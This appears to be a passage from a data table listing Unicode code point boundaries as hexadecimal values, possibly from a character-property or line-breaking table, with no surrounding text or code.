0xF13, - 0xF14, - 0xF15, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF34, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3B, - 0xF3C, - 0xF3D, - 0xF3E, - 0xF40, - 0xF71, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFC0, - 0xFC6, - 0xFC7, - 0xFD0, - 0xFD2, - 0xFD3, - 0xFD4, - 0xFD9, - 0xFDB, - 0x102B, - 0x103F, - 0x1040, - 0x104A, - 0x104C, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x1090, - 0x109A, - 0x109E, - 0x1100, - 0x1160, - 0x11A8, - 0x1200, - 0x135D, - 0x1360, - 0x1361, - 0x1362, - 0x1400, - 0x1401, - 0x1680, - 0x1681, - 0x169B, - 0x169C, - 0x169D, - 0x16EB, - 0x16EE, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1737, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B4, - 0x17D4, - 0x17D6, - 0x17D7, - 0x17D8, - 0x17D9, - 0x17DA, - 0x17DB, - 0x17DC, - 0x17DD, - 0x17DE, - 0x17E0, - 0x17EA, - 0x1802, - 0x1804, - 0x1806, - 0x1807, - 0x1808, - 0x180A, - 0x180B, - 0x180E, - 0x180F, - 0x1810, - 0x181A, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1944, - 0x1946, - 0x1950, - 0x19D0, - 0x19DA, - 0x1A17, - 0x1A1C, - 0x1A55, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B50, - 0x1B5A, - 0x1B5C, - 0x1B5D, - 0x1B61, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1BF4, - 0x1C24, - 0x1C38, - 0x1C3B, - 0x1C40, - 0x1C4A, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x1FFD, - 0x1FFE, - 0x2000, - 0x2007, - 0x2008, - 0x200B, - 0x200C, - 0x200D, - 0x200E, - 0x2010, - 0x2011, - 0x2012, - 0x2014, - 0x2015, - 0x2018, - 0x201A, - 0x201B, - 0x201E, - 0x201F, - 0x2020, - 0x2024, - 0x2027, - 0x2028, - 0x202A, - 0x202F, - 0x2030, - 0x2038, - 0x2039, - 0x203B, - 0x203C, - 0x203E, - 0x2044, - 0x2045, - 0x2046, - 0x2047, - 0x204A, - 0x2056, - 0x2057, - 0x2058, - 0x205C, - 0x205D, - 0x2060, - 0x2061, - 0x2066, - 0x2070, - 0x207D, - 0x207E, - 0x207F, - 0x208D, - 0x208E, - 0x208F, - 0x20A0, - 0x20A7, - 0x20A8, - 0x20B6, - 0x20B7, - 0x20BB, - 0x20BC, - 0x20BE, - 0x20BF, - 0x20D0, - 0x20F1, - 0x2103, - 0x2104, - 0x2109, - 0x210A, - 0x2116, - 0x2117, - 0x2212, - 0x2214, - 0x22EF, - 0x22F0, - 0x2308, - 0x2309, - 0x230A, - 0x230B, - 0x230C, - 0x231A, - 0x231C, - 0x2329, - 0x232A, - 0x232B, - 0x23F0, - 0x23F4, - 0x2600, - 0x2604, - 0x2614, - 0x2616, - 0x2618, - 0x2619, - 0x261A, - 0x261D, - 0x261E, - 0x2620, - 0x2639, - 0x263C, - 0x2668, - 0x2669, - 0x267F, - 0x2680, - 0x26BD, - 0x26C9, - 0x26CD, - 0x26CE, - 0x26CF, - 0x26D2, - 0x26D3, - 0x26D5, - 0x26D8, - 0x26DA, - 0x26DC, - 0x26DD, - 0x26DF, - 0x26E2, - 0x26EA, - 0x26EB, - 0x26F1, - 0x26F6, - 0x26F7, - 0x26F9, - 0x26FA, - 0x26FB, - 0x26FD, - 0x2705, - 0x2708, - 0x270A, - 0x270E, - 0x275B, - 0x2761, - 0x2762, - 0x2764, - 0x2765, - 0x2768, - 0x2769, - 0x276A, - 0x276B, - 0x276C, - 0x276D, - 0x276E, - 0x276F, - 0x2770, - 0x2771, - 0x2772, - 0x2773, - 0x2774, - 0x2775, - 0x2776, - 0x27C5, - 0x27C6, - 0x27C7, - 0x27E6, - 0x27E7, - 0x27E8, - 0x27E9, - 0x27EA, - 0x27EB, - 0x27EC, - 0x27ED, - 0x27EE, - 0x27EF, - 0x27F0, - 0x2983, - 0x2984, - 0x2985, - 0x2986, - 0x2987, - 0x2988, - 0x2989, - 0x298A, - 0x298B, - 0x298C, - 0x298D, - 0x298E, - 0x298F, - 0x2990, - 0x2991, - 0x2992, - 0x2993, - 0x2994, - 0x2995, - 0x2996, - 0x2997, - 0x2998, - 0x2999, - 0x29D8, - 0x29D9, - 0x29DA, - 0x29DB, - 0x29DC, - 0x29FC, - 0x29FD, - 0x29FE, - 0x2CEF, - 0x2CF2, - 0x2CF9, - 0x2CFA, - 0x2CFD, - 0x2CFE, - 0x2CFF, - 0x2D00, - 0x2D70, - 0x2D71, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E00, - 0x2E0E, - 0x2E16, - 0x2E17, - 0x2E18, - 0x2E19, - 0x2E1A, - 0x2E1C, - 0x2E1E, - 0x2E20, - 0x2E22, - 0x2E23, - 0x2E24, - 0x2E25, - 0x2E26, - 0x2E27, - 0x2E28, - 0x2E29, - 0x2E2A, - 0x2E2E, - 0x2E2F, - 0x2E30, - 0x2E32, - 0x2E33, - 0x2E35, - 0x2E3A, - 0x2E3C, - 0x2E3F, - 0x2E40, - 0x2E42, - 0x2E43, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3001, - 0x3003, - 0x3005, - 0x3006, - 0x3008, - 0x3009, - 0x300A, - 0x300B, - 0x300C, - 0x300D, - 0x300E, - 0x300F, - 0x3010, - 0x3011, - 0x3012, - 0x3014, - 0x3015, - 0x3016, - 0x3017, - 0x3018, - 0x3019, - 0x301A, - 0x301B, - 0x301C, - 0x301D, - 0x301E, - 0x3020, - 0x302A, - 0x3030, - 0x3035, - 0x3036, - 0x303B, - 0x303D, - 0x3040, - 0x3041, - 0x3042, - 0x3043, - 0x3044, - 0x3045, - 0x3046, - 0x3047, - 0x3048, - 0x3049, - 0x304A, - 0x3063, - 0x3064, - 0x3083, - 0x3084, - 0x3085, - 0x3086, - 0x3087, - 0x3088, - 0x308E, - 0x308F, - 0x3095, - 0x3097, - 0x3099, - 0x309B, - 0x309F, - 0x30A0, - 0x30A2, - 0x30A3, - 0x30A4, - 0x30A5, - 0x30A6, - 0x30A7, - 0x30A8, - 0x30A9, - 0x30AA, - 0x30C3, - 0x30C4, - 0x30E3, - 0x30E4, - 0x30E5, - 0x30E6, - 0x30E7, - 0x30E8, - 0x30EE, - 0x30EF, - 0x30F5, - 0x30F7, - 0x30FB, - 0x30FF, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x3200, - 0x321F, - 0x3220, - 0x3248, - 0x3250, - 0x32FF, - 0x3300, - 0x4DC0, - 0x4E00, - 0xA015, - 0xA016, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA60E, - 0xA60F, - 0xA610, - 0xA620, - 0xA62A, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA6F3, - 0xA6F8, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA828, - 0xA838, - 0xA839, - 0xA874, - 0xA876, - 0xA878, - 0xA880, - 0xA882, - 0xA8B4, - 0xA8C6, - 0xA8CE, - 0xA8D0, - 0xA8DA, - 0xA8E0, - 0xA8F2, - 0xA8FC, - 0xA8FD, - 0xA900, - 0xA90A, - 0xA926, - 0xA92E, - 0xA930, - 0xA947, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA984, - 0xA9B3, - 0xA9C1, - 0xA9C7, - 0xA9CA, - 0xA9D0, - 0xA9DA, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, - 0xAA29, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5D, - 0xAA60, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAEB, - 0xAAF0, - 0xAAF2, - 0xAAF5, - 0xAAF7, - 0xABE3, - 0xABEB, - 0xABEC, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xAC01, - 0xAC1C, - 0xAC1D, - 0xAC38, - 0xAC39, - 0xAC54, - 0xAC55, - 0xAC70, - 0xAC71, - 0xAC8C, - 0xAC8D, - 0xACA8, - 0xACA9, - 0xACC4, - 0xACC5, - 0xACE0, - 0xACE1, - 0xACFC, - 0xACFD, - 0xAD18, - 0xAD19, - 0xAD34, - 0xAD35, - 0xAD50, - 0xAD51, - 0xAD6C, - 0xAD6D, - 0xAD88, - 0xAD89, - 0xADA4, - 0xADA5, - 0xADC0, - 0xADC1, - 0xADDC, - 0xADDD, - 0xADF8, - 0xADF9, - 0xAE14, - 0xAE15, - 0xAE30, - 0xAE31, - 0xAE4C, - 0xAE4D, - 0xAE68, - 0xAE69, - 0xAE84, - 0xAE85, - 0xAEA0, - 0xAEA1, - 0xAEBC, - 0xAEBD, - 0xAED8, - 0xAED9, - 0xAEF4, - 0xAEF5, - 0xAF10, - 0xAF11, - 0xAF2C, - 0xAF2D, - 0xAF48, - 0xAF49, - 0xAF64, - 0xAF65, - 0xAF80, - 0xAF81, - 0xAF9C, - 0xAF9D, - 0xAFB8, - 0xAFB9, - 0xAFD4, - 0xAFD5, - 0xAFF0, - 0xAFF1, - 0xB00C, - 0xB00D, - 0xB028, - 0xB029, - 0xB044, - 0xB045, - 0xB060, - 0xB061, - 0xB07C, - 0xB07D, - 0xB098, - 0xB099, - 0xB0B4, - 0xB0B5, - 0xB0D0, - 0xB0D1, - 0xB0EC, - 0xB0ED, - 0xB108, - 0xB109, - 0xB124, - 0xB125, - 0xB140, - 0xB141, - 0xB15C, - 0xB15D, - 0xB178, - 0xB179, - 0xB194, - 0xB195, - 0xB1B0, - 0xB1B1, - 0xB1CC, - 0xB1CD, - 0xB1E8, - 0xB1E9, - 0xB204, - 0xB205, - 0xB220, - 0xB221, - 0xB23C, - 0xB23D, - 0xB258, - 0xB259, - 0xB274, - 0xB275, - 0xB290, - 0xB291, - 0xB2AC, - 0xB2AD, - 0xB2C8, - 0xB2C9, - 0xB2E4, - 0xB2E5, - 0xB300, - 0xB301, - 0xB31C, - 0xB31D, - 0xB338, - 0xB339, - 0xB354, - 0xB355, - 0xB370, - 0xB371, - 0xB38C, - 0xB38D, - 0xB3A8, - 0xB3A9, - 0xB3C4, - 0xB3C5, - 0xB3E0, - 0xB3E1, - 0xB3FC, - 0xB3FD, - 0xB418, - 0xB419, - 0xB434, - 0xB435, - 0xB450, - 0xB451, - 0xB46C, - 0xB46D, - 0xB488, - 0xB489, - 0xB4A4, - 0xB4A5, - 0xB4C0, - 0xB4C1, - 0xB4DC, - 0xB4DD, - 0xB4F8, - 0xB4F9, - 0xB514, - 0xB515, - 0xB530, - 0xB531, - 0xB54C, - 0xB54D, - 0xB568, - 0xB569, - 0xB584, - 0xB585, - 0xB5A0, - 0xB5A1, - 0xB5BC, - 0xB5BD, - 0xB5D8, - 0xB5D9, - 0xB5F4, - 0xB5F5, - 0xB610, - 0xB611, - 0xB62C, - 0xB62D, - 0xB648, - 0xB649, - 0xB664, - 0xB665, - 0xB680, - 0xB681, - 0xB69C, - 0xB69D, - 0xB6B8, - 0xB6B9, - 0xB6D4, - 0xB6D5, - 0xB6F0, - 0xB6F1, - 0xB70C, - 0xB70D, - 0xB728, - 0xB729, - 0xB744, - 0xB745, - 0xB760, - 0xB761, - 0xB77C, - 0xB77D, - 0xB798, - 0xB799, - 0xB7B4, - 0xB7B5, - 0xB7D0, - 0xB7D1, - 0xB7EC, - 0xB7ED, - 0xB808, - 0xB809, - 0xB824, - 0xB825, - 0xB840, - 0xB841, - 0xB85C, - 0xB85D, - 0xB878, - 0xB879, - 0xB894, - 0xB895, - 0xB8B0, - 0xB8B1, - 0xB8CC, - 0xB8CD, - 0xB8E8, - 0xB8E9, - 0xB904, - 0xB905, - 0xB920, - 0xB921, - 0xB93C, - 0xB93D, - 0xB958, - 0xB959, - 0xB974, - 0xB975, - 0xB990, - 0xB991, - 0xB9AC, - 0xB9AD, - 0xB9C8, - 0xB9C9, - 0xB9E4, - 0xB9E5, - 0xBA00, - 0xBA01, - 0xBA1C, - 0xBA1D, - 0xBA38, - 0xBA39, - 0xBA54, - 0xBA55, - 0xBA70, - 0xBA71, - 0xBA8C, - 0xBA8D, - 0xBAA8, - 0xBAA9, - 0xBAC4, - 0xBAC5, - 0xBAE0, - 0xBAE1, - 0xBAFC, - 0xBAFD, - 0xBB18, - 0xBB19, - 0xBB34, - 0xBB35, - 0xBB50, - 0xBB51, - 0xBB6C, - 0xBB6D, - 0xBB88, - 0xBB89, - 0xBBA4, - 0xBBA5, - 0xBBC0, - 0xBBC1, - 0xBBDC, - 0xBBDD, - 0xBBF8, - 0xBBF9, - 0xBC14, - 0xBC15, - 0xBC30, - 0xBC31, - 0xBC4C, - 0xBC4D, - 0xBC68, - 0xBC69, - 0xBC84, - 0xBC85, - 0xBCA0, - 0xBCA1, - 0xBCBC, - 0xBCBD, - 0xBCD8, - 0xBCD9, - 0xBCF4, - 0xBCF5, - 0xBD10, - 0xBD11, - 0xBD2C, - 0xBD2D, - 0xBD48, - 0xBD49, - 0xBD64, - 0xBD65, - 0xBD80, - 0xBD81, - 0xBD9C, - 0xBD9D, - 0xBDB8, - 0xBDB9, - 0xBDD4, - 0xBDD5, - 0xBDF0, - 0xBDF1, - 0xBE0C, - 0xBE0D, - 0xBE28, - 0xBE29, - 0xBE44, - 0xBE45, - 0xBE60, - 0xBE61, - 0xBE7C, - 0xBE7D, - 0xBE98, - 0xBE99, - 0xBEB4, - 0xBEB5, - 0xBED0, - 0xBED1, - 0xBEEC, - 0xBEED, - 0xBF08, - 0xBF09, - 0xBF24, - 0xBF25, - 0xBF40, - 0xBF41, - 0xBF5C, - 0xBF5D, - 0xBF78, - 0xBF79, - 0xBF94, - 0xBF95, - 0xBFB0, - 0xBFB1, - 0xBFCC, - 0xBFCD, - 0xBFE8, - 0xBFE9, - 0xC004, - 0xC005, - 0xC020, - 0xC021, - 0xC03C, - 0xC03D, - 0xC058, - 0xC059, - 0xC074, - 0xC075, - 0xC090, - 0xC091, - 0xC0AC, - 0xC0AD, - 0xC0C8, - 0xC0C9, - 0xC0E4, - 0xC0E5, - 0xC100, - 0xC101, - 0xC11C, - 0xC11D, - 0xC138, - 0xC139, - 0xC154, - 0xC155, - 0xC170, - 0xC171, - 0xC18C, - 0xC18D, - 0xC1A8, - 0xC1A9, - 0xC1C4, - 0xC1C5, - 0xC1E0, - 0xC1E1, - 0xC1FC, - 0xC1FD, - 0xC218, - 0xC219, - 0xC234, - 0xC235, - 0xC250, - 0xC251, - 0xC26C, - 0xC26D, - 0xC288, - 0xC289, - 0xC2A4, - 0xC2A5, - 0xC2C0, - 0xC2C1, - 0xC2DC, - 0xC2DD, - 0xC2F8, - 0xC2F9, - 0xC314, - 0xC315, - 0xC330, - 0xC331, - 0xC34C, - 0xC34D, - 0xC368, - 0xC369, - 0xC384, - 0xC385, - 0xC3A0, - 0xC3A1, - 0xC3BC, - 0xC3BD, - 0xC3D8, - 0xC3D9, - 0xC3F4, - 0xC3F5, - 0xC410, - 0xC411, - 0xC42C, - 0xC42D, - 0xC448, - 0xC449, - 0xC464, - 0xC465, - 0xC480, - 0xC481, - 0xC49C, - 0xC49D, - 0xC4B8, - 0xC4B9, - 0xC4D4, - 0xC4D5, - 0xC4F0, - 0xC4F1, - 0xC50C, - 0xC50D, - 0xC528, - 0xC529, - 0xC544, - 0xC545, - 0xC560, - 0xC561, - 0xC57C, - 0xC57D, - 0xC598, - 0xC599, - 0xC5B4, - 0xC5B5, - 0xC5D0, - 0xC5D1, - 0xC5EC, - 0xC5ED, - 0xC608, - 0xC609, - 0xC624, - 0xC625, - 0xC640, - 0xC641, - 0xC65C, - 0xC65D, - 0xC678, - 0xC679, - 0xC694, - 0xC695, - 0xC6B0, - 0xC6B1, - 0xC6CC, - 0xC6CD, - 0xC6E8, - 0xC6E9, - 0xC704, - 0xC705, - 0xC720, - 0xC721, - 0xC73C, - 0xC73D, - 0xC758, - 0xC759, - 0xC774, - 0xC775, - 0xC790, - 0xC791, - 0xC7AC, - 0xC7AD, - 0xC7C8, - 0xC7C9, - 0xC7E4, - 0xC7E5, - 0xC800, - 0xC801, - 0xC81C, - 0xC81D, - 0xC838, - 0xC839, - 0xC854, - 0xC855, - 0xC870, - 0xC871, - 0xC88C, - 0xC88D, - 0xC8A8, - 0xC8A9, - 0xC8C4, - 0xC8C5, - 0xC8E0, - 0xC8E1, - 0xC8FC, - 0xC8FD, - 0xC918, - 0xC919, - 0xC934, - 0xC935, - 0xC950, - 0xC951, - 0xC96C, - 0xC96D, - 0xC988, - 0xC989, - 0xC9A4, - 0xC9A5, - 0xC9C0, - 0xC9C1, - 0xC9DC, - 0xC9DD, - 0xC9F8, - 0xC9F9, - 0xCA14, - 0xCA15, - 0xCA30, - 0xCA31, - 0xCA4C, - 0xCA4D, - 0xCA68, - 0xCA69, - 0xCA84, - 0xCA85, - 0xCAA0, - 0xCAA1, - 0xCABC, - 0xCABD, - 0xCAD8, - 0xCAD9, - 0xCAF4, - 0xCAF5, - 0xCB10, - 0xCB11, - 0xCB2C, - 0xCB2D, - 0xCB48, - 0xCB49, - 0xCB64, - 0xCB65, - 0xCB80, - 0xCB81, - 0xCB9C, - 0xCB9D, - 0xCBB8, - 0xCBB9, - 0xCBD4, - 0xCBD5, - 0xCBF0, - 0xCBF1, - 0xCC0C, - 0xCC0D, - 0xCC28, - 0xCC29, - 0xCC44, - 0xCC45, - 0xCC60, - 0xCC61, - 0xCC7C, - 0xCC7D, - 0xCC98, - 0xCC99, - 0xCCB4, - 0xCCB5, - 0xCCD0, - 0xCCD1, - 0xCCEC, - 0xCCED, - 0xCD08, - 0xCD09, - 0xCD24, - 0xCD25, - 0xCD40, - 0xCD41, - 0xCD5C, - 0xCD5D, - 0xCD78, - 0xCD79, - 0xCD94, - 0xCD95, - 0xCDB0, - 0xCDB1, - 0xCDCC, - 0xCDCD, - 0xCDE8, - 0xCDE9, - 0xCE04, - 0xCE05, - 0xCE20, - 0xCE21, - 0xCE3C, - 0xCE3D, - 0xCE58, - 0xCE59, - 0xCE74, - 0xCE75, - 0xCE90, - 0xCE91, - 0xCEAC, - 0xCEAD, - 0xCEC8, - 0xCEC9, - 0xCEE4, - 0xCEE5, - 0xCF00, - 0xCF01, - 0xCF1C, - 0xCF1D, - 0xCF38, - 0xCF39, - 0xCF54, - 0xCF55, - 0xCF70, - 0xCF71, - 0xCF8C, - 0xCF8D, - 0xCFA8, - 0xCFA9, - 0xCFC4, - 0xCFC5, - 0xCFE0, - 0xCFE1, - 0xCFFC, - 0xCFFD, - 0xD018, - 0xD019, - 0xD034, - 0xD035, - 0xD050, - 0xD051, - 0xD06C, - 0xD06D, - 0xD088, - 0xD089, - 0xD0A4, - 0xD0A5, - 0xD0C0, - 0xD0C1, - 0xD0DC, - 0xD0DD, - 0xD0F8, - 0xD0F9, - 0xD114, - 0xD115, - 0xD130, - 0xD131, - 0xD14C, - 0xD14D, - 0xD168, - 0xD169, - 0xD184, - 0xD185, - 0xD1A0, - 0xD1A1, - 0xD1BC, - 0xD1BD, - 0xD1D8, - 0xD1D9, - 0xD1F4, - 0xD1F5, - 0xD210, - 0xD211, - 0xD22C, - 0xD22D, - 0xD248, - 0xD249, - 0xD264, - 0xD265, - 0xD280, - 0xD281, - 0xD29C, - 0xD29D, - 0xD2B8, - 0xD2B9, - 0xD2D4, - 0xD2D5, - 0xD2F0, - 0xD2F1, - 0xD30C, - 0xD30D, - 0xD328, - 0xD329, - 0xD344, - 0xD345, - 0xD360, - 0xD361, - 0xD37C, - 0xD37D, - 0xD398, - 0xD399, - 0xD3B4, - 0xD3B5, - 0xD3D0, - 0xD3D1, - 0xD3EC, - 0xD3ED, - 0xD408, - 0xD409, - 0xD424, - 0xD425, - 0xD440, - 0xD441, - 0xD45C, - 0xD45D, - 0xD478, - 0xD479, - 0xD494, - 0xD495, - 0xD4B0, - 0xD4B1, - 0xD4CC, - 0xD4CD, - 0xD4E8, - 0xD4E9, - 0xD504, - 0xD505, - 0xD520, - 0xD521, - 0xD53C, - 0xD53D, - 0xD558, - 0xD559, - 0xD574, - 0xD575, - 0xD590, - 0xD591, - 0xD5AC, - 0xD5AD, - 0xD5C8, - 0xD5C9, - 0xD5E4, - 0xD5E5, - 0xD600, - 0xD601, - 0xD61C, - 0xD61D, - 0xD638, - 0xD639, - 0xD654, - 0xD655, - 0xD670, - 0xD671, - 0xD68C, - 0xD68D, - 0xD6A8, - 0xD6A9, - 0xD6C4, - 0xD6C5, - 0xD6E0, - 0xD6E1, - 0xD6FC, - 0xD6FD, - 0xD718, - 0xD719, - 0xD734, - 0xD735, - 0xD750, - 0xD751, - 0xD76C, - 0xD76D, - 0xD788, - 0xD789, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFB00, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFB50, - 0xFD3E, - 0xFD3F, - 0xFD40, - 0xFDFC, - 0xFDFD, - 0xFE00, - 0xFE10, - 0xFE11, - 0xFE13, - 0xFE15, - 0xFE17, - 0xFE18, - 0xFE19, - 0xFE1A, - 0xFE20, - 0xFE30, - 0xFE35, - 0xFE36, - 0xFE37, - 0xFE38, - 0xFE39, - 0xFE3A, - 0xFE3B, - 0xFE3C, - 0xFE3D, - 0xFE3E, - 0xFE3F, - 0xFE40, - 0xFE41, - 0xFE42, - 0xFE43, - 0xFE44, - 0xFE45, - 0xFE47, - 0xFE48, - 0xFE49, - 0xFE50, - 0xFE51, - 0xFE52, - 0xFE53, - 0xFE54, - 0xFE56, - 0xFE58, - 0xFE59, - 0xFE5A, - 0xFE5B, - 0xFE5C, - 0xFE5D, - 0xFE5E, - 0xFE5F, - 0xFE67, - 0xFE68, - 0xFE69, - 0xFE6A, - 0xFE6B, - 0xFE6C, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFF02, - 0xFF04, - 0xFF05, - 0xFF06, - 0xFF08, - 0xFF09, - 0xFF0A, - 0xFF0C, - 0xFF0D, - 0xFF0E, - 0xFF0F, - 0xFF1A, - 0xFF1C, - 0xFF1F, - 0xFF20, - 0xFF3B, - 0xFF3C, - 0xFF3D, - 0xFF3E, - 0xFF5B, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFF60, - 0xFF62, - 0xFF63, - 0xFF65, - 0xFF66, - 0xFF67, - 0xFF71, - 0xFF9E, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE1, - 0xFFE2, - 0xFFE5, - 0xFFE7, - 0xFFF9, - 0xFFFC, - 0xFFFD, - 0x10100, - 0x10103, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10376, - 0x1037B, - 0x1039F, - 0x103A0, - 0x103D0, - 0x103D1, - 0x104A0, - 0x104AA, - 0x10857, - 0x10858, - 0x1091F, - 0x10920, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10A50, - 0x10A58, - 0x10AE5, - 0x10AE7, - 0x10AF0, - 0x10AF6, - 0x10AF7, - 0x10B39, - 0x10B40, - 0x11000, - 0x11003, - 0x11038, - 0x11047, - 0x11049, - 0x11066, - 0x11070, - 0x1107F, - 0x11083, - 0x110B0, - 0x110BB, - 0x110BE, - 0x110C2, - 0x110F0, - 0x110FA, - 0x11100, - 0x11103, - 0x11127, - 0x11135, - 0x11136, - 0x11140, - 0x11144, - 0x11173, - 0x11174, - 0x11175, - 0x11176, - 0x11180, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111C7, - 0x111C8, - 0x111C9, - 0x111CA, - 0x111CD, - 0x111D0, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x111E0, - 0x1122C, - 0x11238, - 0x1123A, - 0x1123B, - 0x1123D, - 0x1123E, - 0x1123F, - 0x112A9, - 0x112AA, - 0x112DF, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x1133C, - 0x1133D, - 0x1133E, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11357, - 0x11358, - 0x11362, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11435, - 0x11447, - 0x1144B, - 0x1144F, - 0x11450, - 0x1145A, - 0x1145B, - 0x1145C, - 0x114B0, - 0x114C4, - 0x114D0, - 0x114DA, - 0x115AF, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115C2, - 0x115C4, - 0x115C6, - 0x115C9, - 0x115D8, - 0x115DC, - 0x115DE, - 0x11630, - 0x11641, - 0x11643, - 0x11650, - 0x1165A, - 0x11660, - 0x1166D, - 0x116AB, - 0x116B8, - 0x116C0, - 0x116CA, - 0x1171D, - 0x1172C, - 0x11730, - 0x1173A, - 0x1173C, - 0x1173F, - 0x118E0, - 0x118EA, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A3F, - 0x11A40, - 0x11A41, - 0x11A45, - 0x11A46, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A5C, - 0x11A8A, - 0x11A9A, - 0x11A9D, - 0x11A9E, - 0x11AA1, - 0x11AA3, - 0x11C2F, - 0x11C37, - 0x11C38, - 0x11C40, - 0x11C41, - 0x11C46, - 0x11C50, - 0x11C5A, - 0x11C70, - 0x11C71, - 0x11C72, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12470, - 0x12475, - 0x13258, - 0x1325B, - 0x1325E, - 0x13282, - 0x13283, - 0x13286, - 0x13287, - 0x13288, - 0x13289, - 0x1328A, - 0x13379, - 0x1337A, - 0x1337C, - 0x145CE, - 0x145CF, - 0x145D0, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AF0, - 0x16AF5, - 0x16AF6, - 0x16B30, - 0x16B37, - 0x16B3A, - 0x16B44, - 0x16B45, - 0x16B50, - 0x16B5A, - 0x16F51, - 0x16F7F, - 0x16F8F, - 0x16F93, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA87, - 0x1DA8B, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960, - 0x1F000, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F200, - 0x1F385, - 0x1F386, - 0x1F39C, - 0x1F39E, - 0x1F3B5, - 0x1F3B7, - 0x1F3BC, - 0x1F3BD, - 0x1F3C2, - 0x1F3C5, - 0x1F3C7, - 0x1F3C8, - 0x1F3CA, - 0x1F3CD, 